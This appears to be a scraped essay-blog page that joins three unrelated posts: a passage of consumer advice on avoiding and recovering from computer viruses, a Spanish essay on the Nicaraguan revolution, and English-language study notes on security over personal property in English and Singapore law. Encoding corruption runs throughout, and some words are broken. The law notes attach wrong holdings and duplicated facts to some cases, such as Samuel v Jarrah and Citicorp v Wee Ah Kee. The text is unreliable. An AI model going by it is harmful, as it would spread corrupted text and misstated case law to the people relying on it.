of viruses today arrive in your mailbox as attachments to e-mail messages; resist the temptation to open or view every file attachment you receive. Use an up-to-date anti-virus program or service. Antivirus programs work; they scan the files on your computer (as well as new files you download and e-mail messages you receive) and check for any previously identified viruses. Theyre a good first line of defence, As long as you keep the programs up-to-date with information about the very latest viruses and most antivirus programs make it easy to download updates. Enable macro virus protection in all your applications. Most current Microsoft Applications include special features that keep the program from running unknown macros and thus prevent your system from being infected by macro viruses. Create backup copies of all your important data. If worse comes to worst and your Entire system is infected; you may need to revert to no infected versions of your most critical Files. You cant do this unless you plan ahead and back up your important data. Preventing Viruses Attacks. Diagnosing a Virus Infection How do you know if your computer has been infected with a virus? In short, if it starts acting Funny-doing anything it didnt do before-then a probable cause is some sort of computer Virus. Here are some symptoms to watch for: à ¢Ã¢â€š ¬Ã‚ ¢ Programs quit working or freeze up. à ¢Ã¢â€š ¬Ã‚ ¢ Documents become inaccessible. à ¢Ã¢â€š ¬Ã‚ ¢ Computer freezes up or wont start properly. à ¢Ã¢â€š ¬Ã‚ ¢ The CAPS LOCK key quits working-or works intermittently. à ¢Ã¢â€š ¬Ã‚ ¢ Files increase in size. à ¢Ã¢â€š ¬Ã‚ ¢ Frequent error messages appear onscreen. à ¢Ã¢â€š ¬Ã‚ ¢ Strange messages or pictures appear onscreen. à ¢Ã¢â€š ¬Ã‚ ¢ Your PC emits strange sounds. à ¢Ã¢â€š ¬Ã‚ ¢ Friends and colleagues inform you that theyve received strange e-mails from you, that you dont remember sending. How to Catch a Virus. Recovering from a Virus Attack If youre unfortunate enough to be the victim of a virus attack, your options narrow. You have to find the infected files on your computer, and then either dies-infects them (by removing the virus Code) or delete them-hopefully before the virus has done any permanent damage to your system. You dont, however, have to give up and throw your computer away. Almost all viruses can be recovered from-some quite easily. All you need is a little information, and the right tools. The right tools include one of the major antivirus programs discussed in Anti-Virus Software and Services. These programs-such as Norton Antivirus

Wednesday, November 13, 2019

Análisis de la Revolución Social Nicaragüense Essay -- actores politico

1. Introduccià ³n En primer lugar deberà ­amos destacar que la revolucià ³n nicaragà ¼ense fue una revolucià ³n social, no una revolucià ³n polà ­tica, una rebelià ³n o un golpe de estado. En efecto, la revolucià ³n social es el â€Å"derrocamiento de una à ©lite gobernante por parte de una à ©lite insurrecta (o vanguardia revolucionaria) que ha conseguido movilizar y capitalizar un amplio apoyo popular y que pretende, desde el poder, transformar las estructuras sociales, polà ­ticas y econà ³micas de la sociedad† (Selbin, 1993:11-13). Asà ­ pues, esta revolucià ³n supone la progresià ³n dialà ©ctica protagonizada por los actores polà ­ticos, concienciados como sujetos polà ­ticos -en el sentido de que han dejado de ser clase en sà ­ para ser clase para sà ­- y capacitados para modificar la realidad, que tiene como consecuencia una primera etapa de destruccià ³n del rà ©gimen anterior durante el proceso revolucionario, posteriormente la institucionalizacià ³n revolucionaria y, por à ºltimo, el desmantelamiento de esta à ºltima. Todo esto en un perà ­odo que abarca el aà ±os 1977 hasta el 1996. Sin embargo, en el presente trabajo nos limitaremos a los primeros aà ±os de la insurreccià ³n para estudiar y analizar el objetivo que se describirà ¡ en el apartado siguiente. 2. Objetivo El objetivo del presente ensayo se estructura en dos fases, las cuales deben ser concebidas como una progresià ³n segà ºn la cual, la segunda no puede tener lugar sin la primera, aunque el à ¡mbito de actuacià ³n de ambas sea diferente. La primera fase es la investigadora-analà ­tica, o intelectual, y, como su propio nombre indica, debe hacer posible una mejor compresià ³n de la realidad en la que vivimos, aclarando procesos, continuidades y conceptos. Una vez realizado este esfuerzo intelectual, debemos acceder a la segunda fase, ... .... Smith, C. ed. 1996. Disruptive Religion: The Force of Faith in Social Movement Activism. Routledge, Nueva York. Snow, D. E., y Benford, R. 1992. Master Frames and Cycles of Protest, en Aldon Morris y Carol McClurg Mueller, eds., Frontiers in Social Movement Theory, pp. 133- 155. Yale University Press, New Haven. Snow, D. 1986. Frame Alignment Processes, Micromobilization, and Movement participation. American Sociological Review 51: 464-481. Randall, M. 1983. Cristianos en la revolucià ³n. Nueva Nicaragua-Monumbà ³, Mangua. Ronchon, T. R. 1998. Culture Moves: Ideas, Activism, and Changing Valuis. Princeton University Press, Priceton. Tilly, C. 1993. European Revolutions, 1492-1992. Blackwell, Oxford. Wickham-Crowley, T.P. 1992. Guerrillas and Revolution in Latin America: A comparative study of Insurgents and Regimes since 1956. Princeton University Press, New Jersey. 22

Sunday, November 10, 2019

Notes on Security Over Personal Property

SYLLABUS X: SECURITY OVER PERSONAL PROPERTY Table of Contents 1. introduction4 1. 1The structure of security4 1. 2Reasons for taking security4 Saloman v A Saloman & Co [1897] AC 22, per Lord Macnaghten4 Re Lind [1915] 2 Ch 3454 1. 3What happens during insolvency? 5 1. 3. 1Cases on PP Rule AD Rule6 Re Jeavons, ex p Mackay (1873) LR 8 Ch App 6436 *British Eagle v Cie Nationale Air France [1975] HL6 International Air Transport Association v Ansett Australia Holdings Ltd [2008] HCA 37 Belmont Park Investments Pty Ltd v BNY Corporate Trustee Services Ltd [2011] UKSC 387 2. Form vs Substance *8 . 1Artificial transactions8 Re George Inglefield Ltd [1933] Ch 18 Re Curtain Dream Plc [1990] BCC 3419 Welsh Development Agency v Exfinco [1990] BCC 3939 Thai Chee Ken v Banque Paribas [1993] SGCA10 2. 2American legal realism and Article 910 3. Mortgages and Charges10 3. 1Mortgages over personal property10 Pacrim Investments Pte Ltd v Tan Mui Keow [2005] 1 SLR(R) 14110 3. 2Clogs on the equity of red emption11 3. 2. 1Length of mtgage11 Knightsbridge Estates Ltd v Byrne [1939] Ch 441 (ECA)11 Fiscal Consultants Pte Ltd v Asia Commercial Finance Ltd (1981)11 3. 2. 2Collateral advantages11 Samuel v Jarrah Timber12 *Kreglinger v New Patagonia Meat (HL)12 * Citicorp Investment Bank (Singapore) Ltd v Wee Ah Kee [’97 SGCA]12 3. 3Identifying a charge13 3. 3. 1Charge vs Mtgage13 **Swiss Bank Corporation v Lloyds Bank [1982] AC 58413 3. 3. 2Right to take possession =/= charge14 *Re Cosslett (Contractors) Ltd [1998] Ch 49514 3. 3. 3Charge must contain positive undertaking14 Flightline Ltd v Edwards [2003] CA14 3. 3. 4Direction to pay out of fund =/= charge14 *Palmer v Carey [1926] AC 703 (PC from Aus)14 3. 3. 5Equitable set-off vs charge15 3. 4Capturing future assets15 *Tailby v Official Receiver (1888) 13 App Cas 523 Lord Macnaughten16 3. 5Charge-backs16 3. 6Trust Receipts distinguished16 3. 6. 1How it works16 3. 6. 2Deemed continuing pledge16 3. 6. 3Deemed trust? 17 *United Malayan Banking Corp Bhd v Lim Kang Seng [1994] SGHC17 3. 6. 4How is proceeds shared btw Bank and B? 17 4. Fixed and Floating Charges18 4. 1Definition of a floating charge18 Illingworth v Houldsworth [1904] HL (Lord Macnaghten)18 *Re Yorkshire Woolcombers Association Ltd [1904]:18 *Dresdner Bank v Ho Mun-Tuke [’92, SGCA]19 4. 2â€Å"Dealing in the ordinary course of business† (OCOB)19Re Borax [1901] 1 Ch 32719 Ashborder BV v Green Gas Power Ltd [2004] EWHC 151719 4. 3Crystallisation of floating charges19 Re Brightlife [1987] Ch 20020 Re Woodroffes (Musical Instruments) Ltd [1986] Ch 36620 4. 3. 1Apparent agency20 4. 3. 2S 226(1A): a gloss to the automatic/ semi-automatic battle20 4. 4Distinguishing fixed and floating charges20 4. 5The insolvency battleground21 *Agnew v Commissioner of Inland Revenue [2001] 2 AC 71021 *Re Spectrum Plus Ltd [2005] 2 AC 68021 4. 5. 1Expenses of liquidator21 Buchler v Talbot [2004] AC 298 (HL)21 5. Quasi-Security: Title-based Devices22 5. Reserva tion of title (‘Romalpa clauses’)22 Re Bond Worth Ltd [1980] Ch 22822 *Aluminiuim Industrie Vassen BV v Romalpa Aluminium Ltd [1976] 1 WLR 67622 5. 1. 1New goods clauses23 Clough Mill Ltd v Martin [1985] 1 WLR 11123 *Borden (UK) Ltd v Scottish Forest Timber Products Ltd [1981] Ch 2523 Re Bond Worth Ltd [1980] Ch 22823 5. 1. 2Money proceeds clauses23 *E Pfeiffer Weinkellerei Weinenkauf GmbH v Arbuthnot Factors Ltd [1988] 1 WLR 15023 Associated Alloys Pty Ltd v CAN 001 452 106 Pty Ltd [2000] HCA 2524 5. 2Hire purchase24 5. 3Discounting receivables24 6. registration of charges25 6. Registrable charges25 6. 1. 1S 131 registration25 6. 1. 2When is a charge created? 26 6. 2Effect of registration and non-registration26 6. 2. 1No constructive knowledge26 Re Monolithic Co [1915] 1 Ch 64326 6. 2. 2Conclusive evidence26 6. 3Late Registration26 7. Priority Rules27 7. 1Rules in general27 Joseph v Lyons (1884)27 Cheah v Equiticorp Finance Group Ltd [1992] 1 AC 47227 7. 2Constructive notice27 Wilson v Kelland [1910] 2 Ch 30627 *Macmillan Inc v Bishopsgate Investment Trust plc (No 3) [1995] 1 WLR 978, 999-100528 7. 3Purchase money (security) interests28 7. 4Tacking future advances29West v Williams [1899]29 7. 5Circularity30 8. Remedies30 8. 1General30 8. 1. 1What remedies does Chgee have? 30 8. 1. 2How much notice must creditor give? 30 8. 1. 3Duty of care in choosing receiver30 Gaskell v Gosling [1896] (Rigby LJ)30 8. 2Receivership31 Re Newdigate Colliery [1912]31 Airlines Airspares v Handley Page [1970] 1 Ch 19331 Medforth v. Blake [1999] 2 BCLC 221; [1999] 3 All ER 97 (CA)31 8. 3Judicial management31 8. 3. 1What happens in the JM process? 32 Bristol Airport Plc v Powdrill [1990] Ch 74432 Electro Magnetic (S) Co v Development Bank of Singapore Ltd [1994] 1 SLR(R) 57432 . 3. 2Disposal powers of JM32 9. Insolvency clawback33 9. 1Unfair preferences33 Re M C Bacon Ltd [1990] BCC 7833 9. 2Undervalue transactions33 Hill v Spread Trustee Co Ltd [2006] BCC 64634 9. 3Fl oating charges near insolvency34 Power v Sharp Investments [1993] BCC 60934 Re Yeovil Glove Company [1965] 1 Ch 14834 10. Reform? 34 Focus of course: * Non-possessory security: esp Mtgages and Charges * Title-based security| introduction The structure of security (see mindmap) Reasons for taking security * Main reason: priority over other unsecured creditors (U/Cs) *During insolvency * Obvious advantage * Also, a self-help remedy * Outside insolvency * Borrower (B) has more incentive to repay * In a sense, Secured Creditor (SC) is king; but note that Parliament has intervened with a class of â€Å"Preferential Creditors† (P/C) Saloman v A Saloman & Co [1897] AC 22, per Lord Macnaghten * Salomon ran a company such that there were several U/Cs but Salomon himself was the only S/C * HELD: Salomon’s security was valid, even it was absolutely scandalous that the secured creditor could sweep aside all claims of the company’s other creditors. Case shows that creditor a nd borrower absolutely free to contract in any way they want. * Only exception is if they impose clogs on the equity of redemption. * (Note: After this, Parliament created a special category of P/Cs) Re Lind [1915] 2 Ch 345| Facts| * Case concerned inchoate security – present security over future assets * Son granted creditors security over the reversionary interest in his mother’s estate (which only arises after mum’s death) * Son became bankrupt – Mother dies – Son discharged from bankruptcy | HELD| Security attaches from the date of the security arrangement (ie. hen S first gave the security)| Reasoning| * When prop comes into existence (ie. when mother died) it is captured by the security, but dated all the way back to when S first gave security. * This is so even though prop fall in after bankruptcy! Prop is out of the hands of the trustee in bankruptcy. * S/Cs had priority over other unsecured creditors. * Goode uses analogy of new born being able to sue for injuries sustained during birth. | Bankruptcy Act ss 76, 78 Companies Act s 269 Assets under security do not vest in liquidator/ OA (s 76(3) BA) * If a corporation has ALL assets are covered by security, the liquidator is powerless and has to sit by the sidelines until the secured creditor, typically acting for a receiver, carries out the process of managing the company and dealing with the assets so as to maximize assets to be paid back. What happens during insolvency? * You cannot quite appreciate security until you know what happens to property in the insolvency process: 1. Relevant event† occurs – eg. resolution to wind-up/ petition to court is passed 2. Trustee in bankruptcy/ liquidator appointed 3. Nobody (no officer of the company or individual) may dispose of the assets without the consent of the trustee or liquidator * Prior to insolvency, even if person is about to be bankrupt, assets are at free disposal of Co/ person. * But 2 exceptions: (i) Insolvency clawback * certain pre-insolvency dealings can be reversed. (ii) Anti-deprivation rule (AD Rule) * common law rule of public policy (originates in com-law; not found in insolvency legislation) * If an instrument seeks to transfer prop out or only take effect upon an individual’s bankruptcy, it is generally void. (see Syl 3) * One discredited distinction: * the grant for a limited period which expires upon insolvency = valid * the forfeiture of a full interest upon insolvency = invalid * Hard to see why they are treated diff when effect is same. * Anti-deprivation rule not the same as pari pasu rule (PP Rule) (as held in Belmont Park) * The pari pasu rule of distribution is stated in s. 00 of the companies act states that subject to the claim of the preferential creditors, the assets of the insolvent person are to be distributed in the pari pasu or rateable. This is a legislation that cannot be moulded by the court. Cases on PP Rule AD Rule Re Jeavons, ex p Mackay (1873) LR 8 Ch App 643 * Facts: * J sold one B a patent for improving armour plates manufacture. * In return B would pay J royalties of 15s per ton of plates produced. * B also lent J ? 12,500, and agreed that half J’s' royalties would go to paying back that loan. It was further agreed that if J went insolvent, or made an arrangement with creditors, B could keep all the royalties to satisfy the debt * Held: The second part of agreement ineffective; Brown had a lien on one half of the royalties only * Clear-cut breach of pari pasu and AD Rule both. *British Eagle v Cie Nationale Air France [1975] HL| Facts| * The case concerned the operation of IATA, a clearing house for airlines. Under the IATA arrangement, ‘debts’ owed between members were not payable, but were netted off in the clearing system; only the balance was payable to or by IATA. British Eagle was owed a certain sum by Air France; but at the overall leve, BE was a Net Debtor Airline. * Following a windi ng up petition, British Eagle’s liquidator claimed that such amount was an asset that should be available to its unsecured creditors. * Air France contended that nothing was owed directly to British Eagle, and that, under the clearing house system, British Eagle's only relevant assets or liabilities were rights or obligations as between British Eagle and IATA. The pari passu principle is in issue and not the anti-deprivation rule as if the sums are payable to IATA and not British Eagle, which would have in turn been used to pay off a creditor of British Eagle (Air France), Air France will gain priority vis-a-vis other general unsecured creditors of British Eagle. | HELD| Majority: the parties had, by agreeing that simple contract debts were to be settled in a particular way, contracted out of insolvency legislation which provided for the payment of unsecured debts pari passu. As such, the arrangements were contrary to public policy and the insolvency legislation prevailed. BE could recover $ owed to it by AF; other creditors of BE had to prove in insolvency estate| Reasoning| * it did not matter that the arrangements were entered into bona fide and without the intention of defeating the insolvency laws. * Lord Cross in effect suggested that the only way to obtain priority apart from statute was through security. Lord Morris (Dissent): * Distinguished cases like Ex p Mackay as cases where parties made clear attempt to evade insolvency laws. * Such concerns do not bite when arrangement is for valid commercial reasons. * â€Å"In the contracts [in the present case] †¦ here was no provision which was designed to come into effect or to bring about a change in the event of liquidation†. | Evaluation| Majority’s arg that AF is being preferred, and PP Rule offended, is flawed * At clearing stage, not certain whether AF is even going to be a creditor bec you do not know who is being owed yet. * And if we don’t know where the money is go ing, how can you say air france is given preferential treatment? Better way to rationalize Majority’s decision is on AD Rule * An asset of BE, debt owed by AF to it is being divested from BE’s estate upon insolvency. Counter –arg: Cannot even be said that AF had an obligation to pay BE. (line pursued by Minority)MB: Best way out of this mess may be novation. * Each pair of contracting parties will agree to novate the contract in favour of the central clearing house * Upon insolvency, oblgs and liabilities clearly btw each party and clearing hse. Note: the judgment was overturned by legislation to preclude its operation to clearing houses. IATA also amended the terms of its clearing house to overcome the effects of the judgment. | 30 years later, the IATA clearing house arrangement was litigated again, in Australia: International Air Transport Association v Ansett Australia Holdings Ltd [2008] HCA 3 * HELD: no public policy considerations outside of Act – in any case, no violation of any such considerations bec no relationship of debtor and creditor exists between Ansett and other members of the Clearing House * However, HCA noted that there were significant differences between Ansett and British Eagle, including the fact that, unlike in British Eagle, no claim was made between individual members of the Clearing House. When you look at the AD rule and its breadth you can begin to see it can pose a threat to perfectly straightforward transaction: (It was only starting from this case that Cts seem more aware of distinction btw AD Rule and PP Rule; but court doesn’t bring the distinction home here) Belmont Park Investments Pty Ltd v BNY Corporate Trustee Services Ltd [2011] UKSC 38| Facts| Priority swap arrangement * The case concerned the enforceability of so-called â€Å"flip clauses†: Lehman Brothers (LBSF) vsNoteholders * Ordinarily, LBSF has priority over Noteholders; but in event of insolvency, Noteholders are given priority over enforcement of charge over securities. * Note that LBSF does not lose ability to enforce charge; just priority. | HELD| The ‘flip’ clause was valid and enforceable and did not offend the AD Rule| Reasoning| * Two major grounds: * Firstly, not sure if priority is property; hence the swap cannot be said to offend AD Rule (Lord Mance) * Secondly, there is a good and sound commercial reasons for the transaction. However, Ct does not go as far as to say this ground is a defence; but it is certainly relevant. | Evaluation| HL raised an example of a scheme where Insurance Broker pays out to Employer for Employee’s claims for injury. HL said it breached AD Rule. (MB does not think it does).. | Form vs Substance * * Starting: Freedom of contract – free to arrange affairs btw parties * Two exceptions: 1. Sham transactions * A pretence. Appear to enter into a contract to do X; in effect they do Y. * Courts rarely strike down transactions as shams 2. The internal route† – courts will re-label a transaction if in substance that is what it is. * That is tantamount to embracing the spirit of American realism as exemplified by UCP 600 Art 9. * But, courts will not strike intervene just bec parties choose to use a more artificial and less straightforward route * We will look further into this: Artificial transactions * It is impt to distinguish whether is in fact a security transaction bec security often requires registration before they can be recognised. Re George Inglefield Ltd [1933] Ch 1 Usually cited for is a 3 part test for distinguishing a charge (or mtgage) from a sale (or discount) * (S = purported seller (usually borrower); B = purported buyer (usually the lender)) * Romer LJ: (i) Redemption * If S is able to recover asset upon repayment suggests a charge (ii) Surplus * If upon selling asset there is a surplus, and B is obliged to return surplus to S more likely charge (iii) Deficiency * If B realises asset bring s him less than amt advanced + he has right to make S â€Å"top up† more likely charge * (This one can be easily breached – most discounting agreements (ie. ale of debt) contain a recourse agmt – seller to reimburse to the buyer in an event of certain debts proving to be bad) Re Curtain Dream Plc [1990] BCC 341| Facts| In this case, a sale and repurchase was characterised as mortgage * 2 separate agreements: (i) Facility letter – B open line of credit for S; (ii) Sale agmt – S sold fabric to B, with a resale at 90 days where S had to repurchase the same fabric with increased price at LIBOR + 1% * Whether this was a charge such that it had to be registered? | HELD| When the two agmts are viewed tgt, their legal effect is that of a mortgage.Failed for lack of registration. | Reasoning| * Agmt (i) was very suggestive of a loan * Used language such as â€Å"credit† and â€Å"credit line† + calculated against LIBOR * Agmt (ii) contained a right of repurchase that looked a lot like equity of redemption. | Evaluation| However, a mere right to repurchase should not too easily be characterised as an equity of redemption because such repos transactions occur very frequently (for good commercial reasons not limited to raising finance) and no reason to suppose they are not genuine sales. * Courts have at other times been transaction-friendly: Welsh Development Agency v Exfinco [1990] BCC 393| Facts| 1. P grants WDA a floating charge over its book debts 2. P’s dealings with Exfinco (E) * P sells software to E * P then acts as E’s agent to negotiate sale from P to overseas customers * Overseas customers don’t know P is agent (E wishes to be undisclosed principal) * Payments go into a blocked acct in P’s name; but only E can draw from that acctIssue:Does E have a charge over the book debts from overseas customers that is paid to P? (Rmb P had charged all its book debts to WDA) * On the one hand, it is charge; it is unregistered; WDA stands in priority * On the other hand, not charge: it is E’s software that is being sold; so money coming in belongs to E, not P. | HELD| Not a security; parties are free to structure their affairs even if it means doing so to avoid statute; Parliament should revise statute if it wishes to capture this. – Book debts belong to E, not P. Reasoning| * There was also a clause allowing P to shut down the scheme with E with 3 mth’s notice held not an equity of redemption * | Evaluation| * This case stands for a freedom of contract and parties can choose an artificial route for perfectly sensible commercial reasons * They can strive for the best priority position they can get and can contract to do so even if it means they wish to avoid statute. | * Singapore courts seem to be quite transaction-friendly as well: Thai Chee Ken v Banque Paribas [1993] SGCA| Facts| * Classic sale and repurchase| HELD| Not a security |Reasoning| * Court acknowledges Romer LJ’s 3-part test * Accepts principle that court must look at true substance of agreement at law * Sale and leaseback has commonly been taken at face value, even with a financing element. * Court viewed it as double sale; no qn of equity of redemption. * | Evaluation| * You will realise that the arg about equity of redemption is circular. | American legal realism and Article 9 * See M. Bridge (2008) article * Be aware that American realism compelled drafgint Art 9, UCC. Focus there is on economic reality of transaction. Mortgages and ChargesMortgages over personal property * Mtgage = conveyance (or assignment) of property to Mtgee as security for the repayment of a debt (Keith v Burrows (1876) 1 CPD 722) * There is an actual transfer of property already/]. Pacrim Investments Pte Ltd v Tan Mui Keow [2005] 1 SLR(R) 141| Facts| DP had shares in MSL – shares were issued subject to a moratorium tt they cannot be disposed or assigned without MSL’s wr itten consent for 1 yr – purpose was to prevent depression of MSL’s share value if sold en masse – DP â€Å"pledged† shares to Pacrim – P sought to get its shares registered – MSL refused bec. t had not given approval for the transfer to P. Issue: Was equitable mtgage of shares a â€Å"disposal† or â€Å"assignment† of those shares in breach of the Moratorium? | HELD| The words â€Å"assign† or â€Å"dispose of† should be construed according to what it normally means in securities markets – ie. restriction on sale in open mkt. Does not stop shares being used as security. | Reasoning| Counsel for Pacrim conceded that the deposit of the share certificates together with the signed blank transfers for the 70 million Consideration Shares created an equitable mortgage. We agree that, in law, a â€Å"pledge† of share certificates accompanied by duly signed transfers is an equitable mortgage. â€Å"The cour t interprets restrictions on transferability strictly, and if there is an ambiguity or uncertainty, inclines to the interpretation which will give the shareholder the greatest freedom to transfer. † * Pers prop is prima facie transferable; need very clear language to stop a person’s having that transferability. | Note| In Re Lin Securities Pte Ltd [1988] 1 SLR(R) 220, court went further to say that a deposit of share certs can be an equitable mtgage whether accompanied by transfer in blank or not. Clogs on the equity of redemption * Common law used to be very strict – any arrangement that fettered B’s redemption was a â€Å"clog† and would be struck down * Today, Cts tend only to strike it down when it (1) is unconscionable, (2) amounts to a penalty, or (3) is repugnant to the contractual right to redeem (Kreglinger) * Judicial progress: the sentiment in contract law tt must look away from substantive unfairness and only intervene when there is proc edural unfairness. Length of mtgage Knightsbridge Estates Ltd v Byrne [1939] Ch 441 (ECA)|HELD| Mtgag for a long duration does not kill right to redeem. There is no doctrine of a â€Å"reasonable time to redeem†. | Facts| Mtgage was to be repaid over 40 years| Reasoning| * Court shd only intervene when there is unconscionability – none in this case bec. parties were companies who were dealing at arm’s length. | * Similar view about duration of mtgage in Singapore: Fiscal Consultants Pte Ltd v Asia Commercial Finance Ltd (1981)| HELD| Mtgag for a long duration does not kill right to redeem. There is no doctrine of a â€Å"reasonable time to redeem†. Facts| Mtgage was to be repaid over a long period- term stipulated tt if M redeemed bef date of redemption, he must pay the full interest due the entire period of mortgage| Reasoning| * Clause not harsh tt this was not harsh and unconscionable bec. parties were of equal bargaining power | Collateral advantages * Most common are clauses entitling B the option to purchase. * Collateral advantages are terms in the mortgage that confer a benefit on L but do not form part of the security (ie. it does nothing to make L’s debt more secure). Courts’ have decided this issue on whether such advantages are IN the mtgage agmt or whether they are collateral atm. If not, they are upheld *Samuel v Jarrah Timber | HELD| Mtgag for a long duration does not kill right to redeem. There is no doctrine of a â€Å"reasonable time to redeem†. | Reasoning| so long as the option is â€Å"a term of the loan†, it will not be upheld. | *Kreglinger v New Patagonia Meat (HL) | HELD| * Held that tt option was a collateral agreement and did not form part of the mortgage (even though it was in the same loan document). Further, tt bec. it was a floating charge, it was easier to find tt this was a collateral agreement. | Facts| K lent money to to NPM – agreement stated tt K would have a 5- year right to purchase the sheepskins produced by NPM (this effectively creates a floating charge) – NPM had 5 years to repay the loan but could pay it all off earlier if it wished – loan repaid bef. 5yrs was up; K continued to demand right to purchase sheepskins. | Reasoning| * | * * This â€Å"collateral contract† approach is done to avoid continued invocation of â€Å"clog on the equity† doctrine. Citicorp Investment Bank (Singapore) Ltd v Wee Ah Kee [’97 SGCA]| HELD| Option to purchase was a collateral agmt (ie. not part of mtgage); further, it was not void bec there was no unconscionability. | Facts| K lent money to to NPM – agreement stated tt K would have a 5-year right to purchase the sheepskins produced by NPM (this effectively creates a floating charge) – NPM had 5 years to repay the loan but could pay it all off earlier if it wished – loan repaid bef. 5yrs was up; K continued to demand right to purchase sheepskins. R easoning| * Notably, CA departed from HC’s arg on â€Å"clog on the equity†| * SG law and Eng law DIVERGE on this: * England = Clog on the equity’ doctrine not done away (recent case: Jones v. Morgan was one whr cl was struck in the absence of unconscionability). * SG = has moved away from such a restricted view and unconscionability is the more decisive factor. Identifying a charge * Charge vs Mtgage * Both allow Chgor/Mtgor to retain possession of asset * But charge does not involve conveyance (or assignment) to Chgee * Thus, Salmond: â€Å"casting a shadow over the property† in question No legal charge * Bec common law has found it difficult to carve prop interest out of undifferentiated bulk; charge is so bec prop is only encumbered so far as necessary to support repayment of debt. Charge vs Mtgage * As a matter of evidence, it is more difficult to determine if a charge has been granted than so for a mtgage. * The following case (1) tries to explain d iff btw a charge and a mortgage and (2) shows how easily a charge may be granted, even though parties may not have realised so! **Swiss Bank Corporation v Lloyds Bank [1982] AC 584|Facts| * Very complicated * In a nutshell, IFT had some shares in a company. (1) To comply w Bank of Eng regulations, IFT allowed Swiss Bank (SB) consideratble measure of control over those shares. (2) It subsequently granted Lloyds Bank (LB) a charge. * Priorities battle. | HELD| SB did not have a charge. IFT and SB only arranged as such to comply with BOE rules, not to secure the debt. * Lord Wilberforce (at HL): Further, in such transactions there is usually a â€Å"charge-back† arrangement on IFT’s active acct w SB. Reasoning| * Equitable mtgage * Though insufficient to pass legal title, Mtgor nonetheless demonstrates a binding intention to create a security in favour of mtgee * Equity will confer title if subject matter of contract makes it specifically enforceable. * Charge which is no t mtgage * Property is specially appropriated to the discharge of a debt; * Chgee has right of realisation by judicial process * Whether a charge has arisen must depend on intention of the parties * Intention could be (1) express or (2) inferred * Express intention is found in documents * This is objectively construed – ie. f docs reveal that transaction has a legal effect of granting charge, does not matter if parties did not realise the consequences. * They are presumed to intend the consequences of their acts. | Evaluation| Is court being contradictory? Does intention not matter? * Submitted that intention of parties is being given effect; Ct focus is on the legal effect they intended and not judge intention by the label they’ve chosen to use. That’s all it means. | Right to take possession =/= charge * A right to step in and take possession of the assets, without more, does not give rise to a charge: *Re Cosslett (Contractors) Ltd [1998] Ch 495 Concerned bui lding contract – common in such contracts to allow employer to step in and take over the plant on default of contractor. * This case opined that typically this would not amount to a charge: * Employer not seeking to secure contractor’s liability; rather the purpose is to allow employer to carry out performance instead. * Held: In this particular case, it was an equitable charge. * This contract contained right to sell the plant and apply the proceeds to discharge contractor’s debt. * (This was a contractual right; did not stem from possessory transfer of plant) Charge must contain positive undertakingFlightline Ltd v Edwards [2003] CA * A charge must entail a positive obligation for the property to be applied as security * Facts: Pf had injunction on all of airline’s assets – airline agrees to pay a large amt of $ into an acct – covenanted to retain 75% in that acct as unencumbered = effectively, a negative undertaking. * Held: Not a charge. * An arrangement, however short-term it may be, can amount to a charge if that is the legal effect of it. * Letter of hypothecation * Letter of hypothecation Bank advances funds to exporter * Bank holds on to BOL until borrower pays It is a short-term arrangement; but capable of being a charge. Direction to pay out of fund =/= charge *Palmer v Carey [1926] AC 703 (PC from Aus)| Facts| 1. L lent B money to purchase his stock-in-trade 2. When B sells his goods, proceeds are to be paid into L’s bank acct 3. L would deduct loan amt + 1/3 of profit; balance paid to B * L argues this is equitable charge| HELD| L did not have a charge- | Reasoning| * An agreement that a fund be applied in a certain way, without more, will not find a charge. * It is necessary to find an oblg to pay the debt out of the fund. Only then has there been a beneficial prop interest that will allow court to decree spec perf. * Depositing money in L’s acct only gives lender a â€Å"more efficient hol d to prevent the misapplication of proceeds† but it does not give him property. | Evaluation| * Seem to lay down two criteria (Blackburne J. in Re TXU Europe Group plc): (i) There must be contractual appropriation of asset to the debt; (ii) There must be a specifically enforceable right to look to asset to discharge debt. * MB: PC seemed to be laying down a wafer-thin distinction; might have to confine decision only to cases where the asset in qn is a fund. If you undertake to pay me out of monies in your hand = charge * If you undertake to pay into my acct + injunction on how you can use acct, with the effect that L is the one taking steps to identify what is owed to him = not charge * Confine case to fund; see difference when it is building contract in Cosslett: * A fund = repository of money typically revolving as to contents from time to time, like the contents of a bank account but not limited to it(See Small Goode @ pp 18 – 19)| * Note that Cosslett; Flightline; P almer can all be analysed in framework of â€Å"contractual appropriation† of asset to debtEquitable set-off vs charge * Conceptually, a right of set-off, being a personal right ,is not a security * Imagine if B borrows from L; prior to that L happened to be indebted to B as well. * It has been held that a charge can be effected by B charging to L his contractual indebtedness to B (Re Bank of Credit and Commerce International (No. 8) [1998] AC 214) * Practically, this is done by book entry and works same as contractual set-off. So line is very blurred now. Capturing future assets * Book debts Only equity will recognise conveyances of future property It will treat the present conveyance as a binding contract to convey, and PROVIDED CONSIDERATION IS GIVEN, which is subject specific performance. * The future propert will automatically be conveyed in euiqty to Tfree once it comes into existence. * Halroyd v Marshall (1862, HL): * Mtgage granted over inter alia, future machinery t hat is in substitution of machinery already being used. * Held: Mtgee’s rights over prop prevailed over subsequent creditors. * Once machinery came into mill, it was encumbered by the Mtgee’s equitable interest; Mtgor held machinery on trust for mtgee. *Tailby v Official Receiver (1888) 13 App Cas 523 Lord Macnaughten 1. How do I know whether a particular future property is captured? * Essentially there must be an adequacy of description in the instrument of the charge or debenture * Best way = charge states to capture all book debts, present and future. * Makes process clean and automatic * If you try and capture only certain â€Å"types† of book debts, there is problem of identification when as and when that debt comes into existence. 2. Why is â€Å"specific performance† used to justify the automaticity of the process? a) Bec damages are insufficient – in an insolvency situation, damages are useless (b) Just a convenient metaphor (MB’s fa voured view) * Technically there is no need to compel B to do anything, all happens automatically. * So think of specific performance as a type of mere instrumentality or metaphor. Charge-backs * Charge over my own indebtedness to you. * Common: banker’s charge-back * Usually contains a flawed asset clause – bank does not need to repay your deposit until your loan is repaid. * Is this possible? MB: Conceptually, it may be seen as impossible using charge-back as mtgage/ charge * But banker’s charge-back is allowed in legislation (S. 13 of CLA) and in case law (Re BCCI (No. 8)) Trust Receipts distinguished Letter of credit How it works * Usually for import business 1. Bank advances $ to Buyer (B) 2. As security, bank holds on to B’s BOL. Thus, bank has a pledge over the BOL itself. * In fact, often BOL names bank as consignee. * Through the BOL, Bank effectively has pledge over underlying gds. 3. B needs to collect goods. 4. So, Bank releases the BOL with t he limited mandate to allow B to collect gds from port. This is reflected in a trust receipt) 5. After B collects, BOL is effectively â€Å"spent†. Deemed continuing pledge * What is the nature of the r/s btw Bank and B at (4)? * Bank has a deemed continuing pledge of the BOL (even though BOL is no longer in bank’s possession). * A pledge can be deemed to continue despite a temporary 